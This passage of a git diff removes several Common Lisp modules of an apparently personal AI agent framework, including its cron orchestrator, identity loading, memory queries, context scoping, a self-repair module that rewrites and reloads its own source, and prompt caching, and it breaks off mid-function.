-    (log-message "ORCHESTRATOR: Cron ~a (tier: ~a, repeat: ~a)"
-                 name tier repeat)))
-
-(defun orchestrator-dispatch (action tier)
-  "Execute ACTION at the specified TIER."
-  (flet ((safe-inject (text)
-           (when (fboundp (find-symbol "STIMULUS-INJECT" :passepartout))
-             (funcall (find-symbol "STIMULUS-INJECT" :passepartout)
-                      (list :type :EVENT
-                            :payload (list :sensor :user-input :text text))))))
-    (ecase tier
-      (:reflex
-       (if (functionp action)
-           (funcall action)
-           (when (and (symbolp action) (fboundp action))
-             (funcall action)))
-       :dispatched)
-      (:cognition
-       (safe-inject (format nil "~a" action))
-       :injected)
-      (:reasoning
-       (safe-inject (format nil "~a" action))
-       :injected))))
-
-(defun orchestrator-on-heartbeat (context)
-  "Called on each heartbeat tick. Checks and dispatches due cron jobs."
-  (declare (ignore context))
-  (let ((now (get-universal-time))
-        (due-jobs nil))
-    (maphash (lambda (name config)
-               (let ((next-run (getf config :next-run)))
-                 (when (>= now next-run)
-                   (push (cons name config) due-jobs))))
-             *cron-registry*)
-    (dolist (job due-jobs)
-      (let* ((name (car job))
-             (config (cdr job))
-             (action (getf config :action))
-             (tier (getf config :tier))
-             (repeat (getf config :repeat))
-             (result (orchestrator-dispatch action tier)))
-        (log-message "ORCHESTRATOR: Heartbeat dispatched ~a (tier: ~a) → ~a"
-                     name tier result)
-        (when repeat
-          (let* ((unit (first repeat))
-                 (value (second repeat))
-                 (interval (case unit
-                             (:d (* 86400 value))
-                             (:w (* 604800 value))
-                             (:m (* 2592000 value))
-                             (t (* 3600 value)))))
-            (setf (getf (gethash name *cron-registry*) :next-run)
-                  (+ now interval))))))
-    nil))
-
-(defun orchestrator-scan-org-file (filepath)
-  "Scans a single Org file for HOOK and CRON properties in property drawers.
-Returns a list of plists (:type :hook/:cron :name <str> :value <str>)."
-  (let ((results nil)
-        (in-properties nil)
-        (lines nil))
-    (handler-case
-        (setf lines (uiop:split-string (uiop:read-file-string filepath)
-                                        :separator '(#\Newline)))
-      (error (c)
-        (log-message "ORCHESTRATOR: Could not read ~a: ~a" filepath c)
-        (return-from orchestrator-scan-org-file nil)))
-    (dolist (line lines)
-      (let ((trimmed (string-trim '(#\Space) line)))
-        (when (string= trimmed ":PROPERTIES:")
-          (setf in-properties t))
-        (when (string= trimmed ":END:")
-          (setf in-properties nil))
-        (when in-properties
-          (cond
-            ((uiop:string-prefix-p ":HOOK:" trimmed)
-             (let ((val (string-trim '(#\Space) (subseq trimmed 6))))
-               (push (list :type :hook :name val :file filepath) results)
-               (log-message "ORCHESTRATOR: Found hook ~a in ~a" val filepath)))
-            ((uiop:string-prefix-p ":CRON:" trimmed)
-             (let ((val (string-trim '(#\Space) (subseq trimmed 6))))
-               (push (list :type :cron :name val :file filepath) results)
-               (log-message "ORCHESTRATOR: Found cron ~a in ~a" val filepath)))))))
-    (nreverse results)))
-
-(defun orchestrator-bootstrap ()
-  "Scans all Org files in the memex for #+HOOK: and #+CRON: properties
-and registers them. Scans ~/memex/projects/ and ~/memex/system/ by default."
-  (let* ((memex-dir (or (uiop:getenv "MEMEX_DIR")
-                        (namestring (merge-pathnames "memex/" (user-homedir-pathname)))))
-         (scan-dirs (list (merge-pathnames "projects/" memex-dir)
-                          (merge-pathnames "system/" memex-dir)))
-         (hook-count 0)
-         (cron-count 0))
-    (dolist (dir scan-dirs)
-      (handler-case
-          (let ((files (uiop:directory-files dir "*.org")))
-            (dolist (file files)
-              (let* ((path (namestring file))
-                     (entries (orchestrator-scan-org-file path)))
-                (dolist (entry entries)
-                  (let ((type (getf entry :type))
-                        (name (getf entry :name)))
-                    (cond
-                      ((eq type :hook)
-                       (orchestrator-register-hook name
-                         (lambda ()
-                           (log-message "ORCHESTRATOR: Hook ~a fired" name))))
-                      ((eq type :cron)
-                       (orchestrator-register-cron
-                         (intern (string-upcase (format nil "cron-~a" name)) :keyword)
-                         name
-                         (lambda ()
-                           (log-message "ORCHESTRATOR: Cron ~a fired" name))
-                         :cognition))))
-                  (if (eq (getf entry :type) :hook) (incf hook-count) (incf cron-count))))))
-        (error (c)
-          (log-message "ORCHESTRATOR: Could not scan ~a: ~a" dir c))))
-    (log-message "ORCHESTRATOR: Bootstrap complete (~d hooks, ~d cron jobs)"
-                  hook-count cron-count)))
-
-(defun events-start-heartbeat ()
-  "Starts the background heartbeat thread. v0.5.0: extracted from core-loop."
-  (let ((interval (or (ignore-errors (parse-integer (uiop:getenv "HEARTBEAT_INTERVAL"))) 60))
-         (auto-save (or (ignore-errors (parse-integer (uiop:getenv "MEMORY_AUTO_SAVE_INTERVAL"))) passepartout::*memory-auto-save-interval*)))
-     (setf passepartout::*memory-auto-save-interval* auto-save)
-     (setf passepartout::*heartbeat-save-counter* 0)
-     (setf passepartout::*heartbeat-thread*
-           (bt:make-thread
-            (lambda ()
-              (loop
-                (sleep interval)
-                (incf passepartout::*heartbeat-save-counter*)
-                (when (>= passepartout::*heartbeat-save-counter* (/ passepartout::*memory-auto-save-interval* interval))
-                  (setf passepartout::*heartbeat-save-counter* 0)
-                  (passepartout::save-memory-to-disk))
-                (stimulus-inject
-                   (list :type :EVENT :payload (list :sensor :heartbeat :unix-time (get-universal-time))))))
-            :name "passepartout-heartbeat"))))
-
-(defskill :passepartout-symbolic-events
-  :priority 80
-  :trigger (lambda (ctx)
-             (eq (getf (getf ctx :payload) :sensor) :heartbeat))
-  :deterministic (lambda (action context)
-                   (declare (ignore action))
-                   (orchestrator-on-heartbeat context)
-                   nil))

lisp/symbolic-identity.lisp

@@ -1,92 +0,0 @@
-(in-package :passepartout)
-
-(defvar *agent-identity* ""
-  "Identity text loaded from ~/memex/IDENTITY.org at startup.
-
-This variable holds the contents of the user's identity file.
-Loaded by `load-identity-file` at daemon/skill initialization,
-called from `agent-identity` for system prompt injection.
-
-The file is user-editable and persists across restarts.
-If the file is missing or empty, this variable remains \"\".")
-
-(defun load-identity-file (&optional (path nil path-p))
-  "Load agent identity from an org file.
-
-Reads the identity text file and caches it in
-`*agent-identity*`.  If PATH is not provided, defaults to
-`~/memex/IDENTITY.org`.
-
-Returns the file content string on success, or NIL if the file
-does not exist or cannot be read."
-  (let* ((file-path (if path-p
-                        (uiop:ensure-pathname path :ensure-absolute t)
-                        (merge-pathnames "memex/IDENTITY.org"
-                                         (user-homedir-pathname)))))
-    (when (uiop:file-exists-p file-path)
-      (handler-case
-          (let ((content (uiop:read-file-string file-path)))
-            (setf *agent-identity* content)
-            content)
-        (error () nil)))))
-
-(defun agent-identity ()
-  "Return the currently loaded agent identity string."
-  (or *agent-identity* ""))
-
-;; Auto-load identity at skill init
-(load-identity-file)
-
-(defpackage :passepartout-identity-tests
-  (:use :common-lisp :fiveam :passepartout)
-  (:export :identity-suite))
-
-(in-package :passepartout-identity-tests)
-
-(def-suite identity-suite
-    :description "Agent identity loading and caching")
-(in-suite identity-suite)
-
-(test test-load-identity-file-returns-content
-  "Contract 1: load-identity-file reads an existing file, returns content."
-  (let* ((path "/tmp/memex-test-identity.org")
-         (content "### Personality
-- Friendly
-- Concise"))
-    (with-open-file (f path :direction :output :if-exists :supersede)
-      (write-string content f))
-    (unwind-protect
-         (let ((result (passepartout::load-identity-file path)))
-           (is (stringp result))
-           (is (search "Friendly" result))
-           (is (search "Concise" result)))
-      (ignore-errors (delete-file path)))))
-
-(test test-load-identity-file-missing-nil
-  "Contract 1: nil when file does not exist."
-  (let ((result (passepartout::load-identity-file
-                 "/tmp/memex-nonexistent-xxxx.org")))
-    (is (null result))))
-
-(test test-agent-identity-cached
-  "Contract 2+3: agent-identity returns cached value after load."
-  (let* ((path "/tmp/memex-test-identity2.org")
-         (content "### Preferences
-- Use shell cautiously"))
-    (with-open-file (f path :direction :output :if-exists :supersede)
-      (write-string content f))
-    (unwind-protect
-         (progn
-           (passepartout::load-identity-file path)
-           (let ((id (passepartout::agent-identity)))
-             (is (search "shell cautiously" id))))
-      (ignore-errors (delete-file path)))))
-
-(test test-agent-identity-empty-default
-  "Contract 2: returns empty string when nothing was loaded."
-  (let ((prev passepartout::*agent-identity*))
-    (unwind-protect
-         (progn
-           (setf passepartout::*agent-identity* nil)
-           (is (string= "" (passepartout::agent-identity))))
-      (setf passepartout::*agent-identity* prev))))

lisp/symbolic-memory.lisp

@@ -1,73 +0,0 @@
-(in-package :passepartout)
-
-(defun memory-inspect (&key (type-filter nil) (todo-filter nil) (limit 10))
-  "Returns a structured report of memory state.
-Optional filters: TYPE-FILTER (keyword), TODO-FILTER (string).
-Returns a plist: (:total <n> :by-type <alist> :by-todo <alist>
-                   :recent <list> :snapshots <n> :orphans <n>)."
-  (let* ((store (if (boundp '*memory-store*)
-                    (symbol-value '*memory-store*)
-                    (return-from memory-inspect
-                      (list :total 0 :reason "Memory store not available"))))
-         (total 0)
-         (type-counts (make-hash-table :test 'eq))
-         (todo-counts (make-hash-table :test 'equal))
-         (recent nil)
-         (all-ids (make-hash-table :test 'equal))
-         (orphans 0))
-    (maphash (lambda (id obj)
-               (setf (gethash id all-ids) t)
-               (let ((obj-type (memory-object-type obj))
-                     (attrs (memory-object-attributes obj))
-                     (v (memory-object-version obj)))
-                 (unless (and type-filter (not (eq obj-type type-filter)))
-                   (let ((todo (getf attrs :TODO-STATE)))
-                     (when (and todo-filter
-                                (not (string-equal todo todo-filter)))
-                       (return nil)))
-                   (incf total)
-                    (incf (gethash obj-type type-counts 0))
-                   (let ((todo (getf attrs :TODO-STATE)))
-                     (when todo
-                       (incf (gethash todo todo-counts 0))))
-                   (push (list :id id
-                               :type t
-                               :todo (getf attrs :TODO-STATE)
-                               :title (getf attrs :TITLE)
-                               :version v)
-                         recent))))
-             store)
-    ;; Sort recent by version desc and take LIMIT
-    (setf recent (subseq (sort recent #'>
-                                :key (lambda (r) (or (getf r :version) 0)))
-                         0 (min limit (length recent))))
-    ;; Count orphans
-    (maphash (lambda (id obj)
-               (let ((parent (memory-object-parent-id obj)))
-                 (when (and parent (not (gethash parent all-ids)))
-                   (incf orphans))))
-             store)
-    ;; Build output
-    (let ((types (loop for k being the hash-keys of type-counts
-                         using (hash-value v)
-                       collect (cons k v)))
-          (todos (loop for k being the hash-keys of todo-counts
-                         using (hash-value v)
-                       collect (cons k v)))
-          (snapshots (if (boundp '*memory-snapshots*)
-                         (length (symbol-value '*memory-snapshots*))
-                         0)))
-      (list :total total
-            :by-type (sort types #'> :key #'cdr)
-            :by-todo (sort todos #'> :key #'cdr)
-            :recent recent
-            :snapshots snapshots
-            :orphans orphans))))
-
-(defskill :passepartout-symbolic-memory
-  :priority 100
-  :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :introspection))
-  :deterministic (lambda (action ctx)
-                   (declare (ignore action ctx))
-                   (ignore-errors (memory-inspect))
-                   nil))

lisp/symbolic-scope.lisp

@@ -1,168 +0,0 @@
-(in-package :passepartout)
-
-(defvar *context-stack* nil
-  "Stack of context plists. Each plist has :project, :base-path, :scope.
-Top of stack (car) is the current context.")
-
-(defvar *context-max-depth* 10
-  "Maximum context stack depth. Prevents runaway pushes.")
-
-(defun current-context ()
-  "Returns the current context plist, or nil if no context is set."
-  (car *context-stack*))
-
-(defun current-scope ()
-  "Returns the current scope keyword (:memex/:session/:project).
-Returns :memex when no context is set (defaults to global scope)."
-  (or (getf (current-context) :scope) :memex))
-
-(defun current-project ()
-  "Returns the current project name, or nil."
-  (getf (current-context) :project))
-
-(defun current-base-path ()
-  "Returns the current base path for file resolution, or nil."
-  (getf (current-context) :base-path))
-
-(defun context-stack-depth ()
-  "Returns the current depth of the context stack."
-  (length *context-stack*))
-
-(defun push-context (&key project base-path (scope :project))
-  "Pushes a new context onto the stack. When focused on a project:
-- File paths resolve relative to BASE-PATH
-- Memory queries filter by SCOPE
-- :memex scope objects remain visible (always global)
-Returns the new context plist."
-  (when (>= (context-stack-depth) *context-max-depth*)
-    (log-message "CONTEXT: Stack depth limit reached (~d), refusing push" *context-max-depth*)
-    (return-from push-context (current-context)))
-  (let* ((context (list :project project
-                        :base-path base-path
-                        :scope scope)))
-    (push context *context-stack*)
-    (context-save)
-    (log-message "CONTEXT: Pushed ~a (depth ~d)" project (context-stack-depth))
-    context))
-
-(defun pop-context ()
-  "Pops the current context, restoring the previous one.
-Returns the restored context or nil if stack becomes empty."
-  (if *context-stack*
-      (let ((popped (pop *context-stack*)))
-        (context-save)
-        (log-message "CONTEXT: Popped ~a (depth ~d)"
-                     (getf popped :project) (context-stack-depth))
-        (current-context))
-      (progn
-        (log-message "CONTEXT: Cannot pop — stack is empty")
-        nil)))
-
-(defmacro with-context ((&key project base-path (scope :project)) &body body)
-  "Executes BODY within a scoped context, then restores the previous context.
-Example:
-  (with-context (:project \"passepartout\" :base-path \"/home/user/memex/projects/passepartout\")
-    (context-scoped-query :tag \"bug\"))"
-  `(let ((*context-stack* (cons (list :project ,project
-                                      :base-path ,base-path
-                                      :scope ,scope)
-                                *context-stack*)))
-     ,@body))
-
-(defun resolve-path (path)
-  "Resolves a file path relative to the current context.
-If PATH is absolute, returns it unchanged.
-If PATH is relative and a base-path is set, merges them.
-Otherwise returns PATH unchanged."
-  (let ((base (current-base-path)))
-    (if (and base path (not (uiop:absolute-pathname-p path)))
-        (namestring (merge-pathnames path (uiop:ensure-directory-pathname base)))
-        path)))
-
-(defun context-scoped-query (&key tag todo-state type)
-  "Like context-query but filtered to the current context's scope.
-:memex-scoped objects are always visible regardless of current scope."
-  (context-query :tag tag :todo-state todo-state :type type :scope (current-scope)))
-
-(defun project-objects ()
-  "Returns all objects scoped to the current project.
-Includes :memex-scoped objects (global knowledge) plus :project-scoped
-objects matching the current project."
-  (context-scoped-query))
-
-(defun focus-project (name base-path)
-  "Shortcut: focus on a project by name and base path.
-Calls push-context with :scope :project."
-  (push-context :project name :base-path base-path :scope :project))
-
-(defun focus-session ()
-  "Shortcut: enter a session context (ephemeral scope).
-Objects created in this scope are visible only during the session."
-  (push-context :project "session" :scope :session))
-
-(defun focus-memex ()
-  "Shortcut: return to global memex scope. Equivalent to pop-context
-until stack is empty or :memex context is reached."
-  (loop while (and *context-stack*
-                   (not (eq (getf (current-context) :scope) :memex)))
-        do (pop-context)))
-
-(defun unfocus ()
-  "Pop the top context and return to the previous one."
-  (pop-context))
-
-(defvar *context-persistence-file* nil
-  "Path to the context stack persistence file.")
-
-(defun context-persist-file ()
-  "Returns the full path to the context persistence file."
-  (or *context-persistence-file*
-      (setf *context-persistence-file*
-            (merge-pathnames ".cache/passepartout/context.lisp"
-                             (user-homedir-pathname)))))
-
-(defun context-save ()
-  "Writes *context-stack* to the persistence file."
-  (handler-case
-      (let ((path (context-persist-file)))
-        (ensure-directories-exist (make-pathname :directory (pathname-directory path)))
-        (with-open-file (s path :direction :output :if-exists :supersede
-                                 :if-does-not-exist :create)
-          (prin1 *context-stack* s))
-        (log-message "CONTEXT: Saved stack (depth ~d) to ~a"
-                     (length *context-stack*) path))
-    (error (c)
-      (log-message "CONTEXT: Failed to save: ~a" c))))
-
-(defun context-load ()
-  "Restores *context-stack* from the persistence file."
-  (handler-case
-      (let ((path (context-persist-file)))
-        (when (probe-file path)
-          (with-open-file (s path :direction :input)
-            (let ((*read-eval* nil)
-                  (data (read s nil nil)))
-              (when (listp data)
-                (setf *context-stack* data)
-                (log-message "CONTEXT: Restored stack (depth ~d) from ~a"
-                             (length *context-stack*) path))
-              t))))
-    (error (c)
-      (log-message "CONTEXT: Failed to load: ~a" c)
-      nil)))
-
-(defskill :passepartout-symbolic-scope
-  :priority 90
-  :trigger (lambda (ctx) (declare (ignore ctx)) nil)
-  :deterministic (lambda (action ctx)
-                   (declare (ignore action))
-                   (ignore-errors
-                     (when (> (context-stack-depth) 0)
-                       nil))
-                   nil))
-
-(when (boundp '*scope-resolver*)
-  (setf *scope-resolver* #'current-scope))
-
-;; Restore persisted context on load
-(context-load)

lisp/symbolic-self-improve.lisp

@@ -1,198 +0,0 @@
-(defun org-tangle-file (filepath)
-  "Tangles an Org file's lisp blocks to its :tangle target, compiles, and loads."
-  (let ((content (uiop:read-file-string filepath))
-        (tangle-path nil)
-        (lisp-lines nil)
-        (in-block nil))
-    (dolist (line (uiop:split-string content :separator '(#\Newline)))
-      (let ((trimmed (string-trim '(#\Space #\Tab) line)))
-        (cond
-          ((and (null tangle-path)
-                (search "#+PROPERTY:" trimmed)
-                (search ":tangle" trimmed))
-           (let* ((parts (uiop:split-string trimmed :separator '(#\Space)))
-                  (target (car (last parts)))
-                  (org-dir (make-pathname :directory (pathname-directory filepath))))
-             (when (and target (not (string-equal target "no")))
-               (setf tangle-path
-                     (if (char= (aref target 0) #\/)
-                         (uiop:parse-unix-namestring target)
-                         (uiop:parse-unix-namestring
-                          (format nil "~a/~a" (namestring org-dir) target)))))))
-          ((search "#+begin_src lisp" trimmed)
-           (setf in-block t))
-          ((search "#+end_src" trimmed)
-           (setf in-block nil)
-           (let ((before (search "#+end_src" line)))
-             (when (and before (> before 0))
-               (push (subseq line 0 before) lisp-lines))))
-          (in-block
-           (push line lisp-lines)))))
-    (when (and tangle-path lisp-lines)
-      (setf lisp-lines (nreverse lisp-lines))
-      (ensure-directories-exist tangle-path)
-      (with-open-file (f tangle-path :direction :output :if-exists :supersede)
-        (format f "~{~a~%~}" lisp-lines))
-      (let ((compiled (compile-file tangle-path)))
-        (when compiled
-          (load compiled)
-          (list :tangled (namestring tangle-path) :compiled t))))))
-
-(defun org-extract-lisp-blocks (content)
-  "Extracts all #+begin_src lisp blocks from Org CONTENT as a list of strings."
-  (let ((blocks nil)
-        (in-block nil)
-        (current nil))
-    (dolist (line (uiop:split-string content :separator '(#\Newline)))
-      (let ((trimmed (string-trim '(#\Space #\Tab) line)))
-        (cond
-          ((search "#+begin_src lisp" trimmed)
-           (setf in-block t current nil))
-          ((search "#+end_src" trimmed)
-           (when in-block
-             (let ((before (search "#+end_src" line)))
-               (when (and before (> before 0))
-                 (push (subseq line 0 before) current)))
-             (push (format nil "~{~a~%~}" (nreverse current)) blocks)
-             (setf in-block nil current nil)))
-          (in-block
-           (push line current)))))
-    (nreverse blocks)))
-
-(defun self-improve-edit (filepath old-text new-text)
-  "Surgical text replacement with tangle+reload for Org source files."
-  (when (or (null filepath) (null old-text) (null new-text))
-    (return-from self-improve-edit
-      (list :status :error :reason "Missing arguments")))
-  (when (not (uiop:file-exists-p filepath))
-    (return-from self-improve-edit
-      (list :status :error :reason (format nil "File not found: ~a" filepath))))
-  (log-message "SELF-IMPROVE: Editing ~a (~d chars)" filepath (length old-text))
-  (ignore-errors
-    (when (fboundp 'snapshot-memory)
-      (snapshot-memory)))
-  (let* ((content (uiop:read-file-string filepath))
-         (pos (search old-text content)))
-    (if pos
-        (let* ((new-content (concatenate 'string
-                              (subseq content 0 pos)
-                              new-text
-                              (subseq content (+ pos (length old-text)))))
-               (ext (pathname-type filepath)))
-          (with-open-file (f filepath :direction :output :if-exists :supersede)
-            (write-sequence new-content f))
-          (let ((re-read (uiop:read-file-string filepath)))
-            (if (search new-text re-read :test 'string=)
-                (let ((tangle-result
-                        (when (string-equal ext "org")
-                          (ignore-errors (org-tangle-file filepath)))))
-                  (list :status :success
-                        :summary (format nil "Replaced ~d chars in ~a"
-                                         (length old-text) filepath)
-                        :tangle tangle-result))
-                (list :status :error :reason "Verification failed"))))
-        (list :status :error :reason
-              (format nil "Text not found in ~a" filepath)))))
-
-(defun self-improve-balance-parens (code)
-  "Returns balanced code or nil if already balanced."
-  (handler-case
-      (progn
-        (let ((*read-eval* nil))
-          (with-input-from-string (s code)
-            (loop for form = (read s nil :eof) until (eq form :eof)))
-          (values))
-        nil)
-    (error ()
-      (let* ((opens (loop for ch across code count (char= ch #\()))
-             (closes (loop for ch across code count (char= ch #\))))
-             (missing (- opens closes)))
-        (when (plusp missing)
-          (concatenate 'string code
-                       (make-string missing :initial-element #\))))))))
-
-(defun self-improve-repair-syntax (skill-name)
-  "Find and fix unbalanced parens in a skill's Org source file."
-  (let* ((data-dir (uiop:ensure-directory-pathname
-                    (or (uiop:getenv "PASSEPARTOUT_DATA_DIR")
-                        (merge-pathnames ".local/share/passepartout/"
-                                         (user-homedir-pathname)))))
-         (org-path (merge-pathnames (format nil "org/~a.org" skill-name) data-dir)))
-    (unless (uiop:file-exists-p org-path)
-      (return-from self-improve-repair-syntax
-        (list :status :error :reason (format nil "Source not found: ~a" skill-name)
-              :repaired nil)))
-    (let* ((content (uiop:read-file-string org-path))
-           (blocks (org-extract-lisp-blocks content))
-           (fixed 0) (result content))
-      (dolist (block blocks)
-        (let ((balanced (self-improve-balance-parens block)))
-          (when (and balanced (not (string= block balanced)))
-            (let ((pos (search block result)))
-              (when pos
-                (setf result (concatenate 'string
-                              (subseq result 0 pos)
-                              balanced
-                              (subseq result (+ pos (length block))))
-                      fixed (1+ fixed)))))))
-      (if (> fixed 0)
-          (progn
-            (with-open-file (f org-path :direction :output :if-exists :supersede)
-              (write-sequence result f))
-            (let ((tangle-result (org-tangle-file org-path)))
-              (list :status :success
-                    :action (format nil "Fixed ~d block(s) in ~a" fixed skill-name)
-                    :repaired t :tangle tangle-result)))
-          (list :status :error
-                :reason (format nil "No unbalanced blocks in ~a" skill-name)
-                :repaired nil)))))
-
-(defun self-improve-fix (skill-name error-log)
-  "Diagnoses and attempts to repair a failing skill."
-  (when (or (null skill-name) (null error-log))
-    (return-from self-improve-fix
-      (list :status :error :reason "Missing arguments: skill-name and error-log required")))
-  (log-message "SELF-IMPROVE: Diagnosing ~a..." skill-name)
-  (let* ((log-str (if (stringp error-log) error-log (format nil "~a" error-log)))
-         (diagnosis nil)
-         (extracted-type nil))
-    (cond
-      ((search "Reader Error" log-str :test 'char-equal)
-       (setf extracted-type :syntax-error
-             diagnosis (list :type :syntax-error
-                            :detail "Reader Error (likely unbalanced parentheses)"
-                            :log log-str)))
-      ((search "Undefined" log-str :test 'char-equal)
-       (setf extracted-type :undefined-symbol
-             diagnosis (list :type :undefined-symbol
-                            :detail "Undefined symbol or missing dependency"
-                            :log log-str)))
-      ((search "PACKAGE" log-str :test 'char-equal)
-       (setf extracted-type :package-error
-             diagnosis (list :type :package-error
-                            :detail "Package resolution error"
-                            :log log-str)))
-      (t
-       (setf extracted-type :unknown
-             diagnosis (list :type :unknown
-                            :detail (format nil "Unrecognized error: ~a"
-                                            (subseq log-str 0 (min 200 (length log-str))))
-                            :log log-str))))
-    (log-message "SELF-IMPROVE: Diagnosed ~a as ~a" skill-name extracted-type)
-    (let ((repair-result
-            (when (eql extracted-type :syntax-error)
-              (self-improve-repair-syntax skill-name))))
-      (if (and repair-result (getf repair-result :repaired))
-          (progn
-            (log-message "SELF-IMPROVE: Successfully repaired ~a" skill-name)
-            repair-result)
-          (list :status :error
-                :reason (format nil "Diagnosis for ~a: ~a" skill-name
-                                (getf diagnosis :detail))
-                :diagnosis diagnosis
-                :repaired nil)))))
-
-(defskill :passepartout-symbolic-self-improve
-  :priority 100
-  :trigger (lambda (ctx) (member (getf ctx :type) '(:LOG :EVENT)))
-  :deterministic (lambda (action ctx) (declare (ignore action ctx)) nil))

lisp/symbolic-time-memory.lisp

@@ -1,113 +0,0 @@
-(in-package :passepartout)
-
-(defun memory-objects-since (timestamp)
-  "Returns all memory-objects from *memory-store* with version >= TIMESTAMP."
-  (let ((results nil))
-    (maphash (lambda (id obj)
-               (declare (ignore id))
-               (when (>= (memory-object-version obj) timestamp)
-                 (push obj results)))
-             *memory-store*)
-    (nreverse results)))
-
-(defun memory-objects-in-range (since until)
-  "Returns memory-objects with version between SINCE and UNTIL (inclusive)."
-  (let ((results nil))
-    (maphash (lambda (id obj)
-               (declare (ignore id))
-               (let ((v (memory-object-version obj)))
-                 (when (and (>= v since) (<= v until))
-                   (push obj results))))
-             *memory-store*)
-    (nreverse results)))
-
-(defun context-query-with-time (&key (max-results 20) type-filter todo-filter since until)
-  "Extended context query with temporal filtering.
-When :since and/or :until are provided, filters results by memory-object version.
-Falls back to context-query if temporal filtering is not requested."
-  (let* ((all (if (fboundp 'memory-objects-by-attribute)
-                  (if type-filter
-                      (memory-objects-by-attribute :TYPE type-filter)
-                      (let ((results nil))
-                        (maphash (lambda (id obj)
-                                   (declare (ignore id))
-                                   (push obj results))
-                                 *memory-store*)
-                        results))
-                  (let ((results nil))
-                    (maphash (lambda (id obj)
-                               (declare (ignore id))
-                               (push obj results))
-                             *memory-store*)
-                    results)))
-         (time-filtered (cond
-                          ((and since until)
-                           (remove-if (lambda (obj)
-                                        (let ((v (memory-object-version obj)))
-                                          (not (and (>= v since) (<= v until)))))
-                                      all))
-                          (since
-                           (remove-if (lambda (obj)
-                                        (< (memory-object-version obj) since))
-                                      all))
-                          (until
-                           (remove-if (lambda (obj)
-                                        (> (memory-object-version obj) until))
-                                      all))
-                          (t all))))
-    (let ((todo-filtered (if todo-filter
-                             (remove-if-not (lambda (obj)
-                                              (string-equal (getf (memory-object-attributes obj) :TODO-STATE "") todo-filter))
-                                            time-filtered)
-                             time-filtered)))
-      (subseq todo-filtered 0 (min max-results (length todo-filtered))))))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-time-memory-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:time-memory-suite))
-
-(in-package :passepartout-time-memory-tests)
-
-(def-suite time-memory-suite :description "Temporal memory filtering")
-(in-suite time-memory-suite)
-
-(test test-memory-objects-since
-  "Contract 1: ingest at T0 and T1, verify memory-objects-since(T1) returns only T1 nodes."
-  (clrhash passepartout::*memory-store*)
-  (let ((t0 (get-universal-time)))
-    (sleep 1)
-    (ingest-ast (list :type :HEADLINE :properties (list :ID "time-a" :TITLE "A") :contents nil))
-    (ingest-ast (list :type :HEADLINE :properties (list :ID "time-b" :TITLE "B") :contents nil))
-    (sleep 1)
-    (let ((t1 (get-universal-time)))
-      (sleep 1)
-      (ingest-ast (list :type :HEADLINE :properties (list :ID "time-c" :TITLE "C") :contents nil))
-      (ingest-ast (list :type :HEADLINE :properties (list :ID "time-d" :TITLE "D") :contents nil))
-      (let ((since-t1 (passepartout::memory-objects-since t1)))
-        (is (= 2 (length since-t1)))
-        (let ((ids (sort (mapcar #'memory-object-id since-t1) #'string<)))
-          (is (string= "time-c" (first ids)))
-          (is (string= "time-d" (second ids))))
-        (let ((since-t0 (passepartout::memory-objects-since t0)))
-          (is (= 4 (length since-t0))))))))
-
-(test test-memory-objects-in-range
-  "Contract 2: ingest nodes, verify range query returns correct subset."
-  (clrhash passepartout::*memory-store*)
-  (let ((t0 (get-universal-time)))
-    (sleep 1)
-    (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-1" :TITLE "One") :contents nil))
-    (sleep 1)
-    (let ((t1 (get-universal-time)))
-      (sleep 1)
-      (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-2" :TITLE "Two") :contents nil))
-      (sleep 1)
-      (let ((t2 (get-universal-time)))
-        (sleep 1)
-        (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-3" :TITLE "Three") :contents nil))
-        (let ((range (passepartout::memory-objects-in-range t1 t2)))
-          (is (= 1 (length range)))
-          (is (string= "rng-2" (memory-object-id (first range)))))))))

lisp/token-economics.lisp

@@ -1,387 +0,0 @@
-(in-package :passepartout)
-
-(defvar *prompt-prefix-cache* (cons nil "")
-  "Prompt prefix cache: (sxhash . cached-string). Rebuilt when IDENTITY or TOOLS change.")
-
-(defvar *context-cache* (list :foveal-id nil :scope nil :memory-timestamp 0 :rendered ""
-                            :identity-tokens 0 :tool-tokens 0 :context-tokens 0
-                            :log-tokens 0 :config-tokens 0 :time-tokens 0)
-  "Context assembly cache: metadata + last rendered context string.")
-
-(defun prompt-prefix-cached (assistant-name identity-content feedback mandates-text tool-belt)
-  "Build the static IDENTITY+TOOLS system prompt prefix.
-Uses sxhash on inputs to detect changes; returns cached string on cache hit."
-  (let* ((hash-key (sxhash (list assistant-name identity-content feedback mandates-text tool-belt)))
-         (cached-hash (car *prompt-prefix-cache*))
-         (cached-str (cdr *prompt-prefix-cache*)))
-    (if (and cached-str (> (length cached-str) 0) (= hash-key cached-hash))
-        cached-str
-        (let ((new-prefix (format nil "IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a"
-                                  assistant-name identity-content feedback
-                                  (if (and mandates-text (> (length mandates-text) 0))
-                                      (concatenate 'string (string #\Newline) mandates-text)
-                                      "")
-                                  tool-belt)))
-          (setf (car *prompt-prefix-cache*) hash-key
-                (cdr *prompt-prefix-cache*) new-prefix)
-          new-prefix))))
-
-(defun context-assemble-cached (context sensor)
-  "Incrementally assemble awareness context.
-Skips assembly for heartbeat/delegation sensors.
-Uses cache when foveal, scope, and memory timestamp are unchanged."
-  (when (member sensor '(:heartbeat :delegation))
-    (return-from context-assemble-cached nil))
-  (unless (fboundp 'context-assemble-global-awareness)
-    (return-from context-assemble-cached "[Awareness skill not loaded]"))
-  (let* ((foveal-id (getf context :foveal-focus))
-         (scope (if (and (boundp '*scope-resolver*)
-                         *scope-resolver*)
-                    (funcall *scope-resolver*)
-                    nil))
-         (mem-ts (hash-table-count *memory-store*))
-         (cache-foveal (getf *context-cache* :foveal-id))
-         (cache-scope (getf *context-cache* :scope))
-         (cache-ts (getf *context-cache* :memory-timestamp))
-         (cache-rendered (getf *context-cache* :rendered)))
-    (if (and (equal foveal-id cache-foveal)
-             (eq scope cache-scope)
-             (= mem-ts cache-ts)
-             cache-rendered
-             (> (length cache-rendered) 0))
-        cache-rendered
-        (let ((rendered (funcall (symbol-function 'context-assemble-global-awareness))))
-          (setf (getf *context-cache* :foveal-id) foveal-id
-                (getf *context-cache* :scope) scope
-                (getf *context-cache* :memory-timestamp) mem-ts
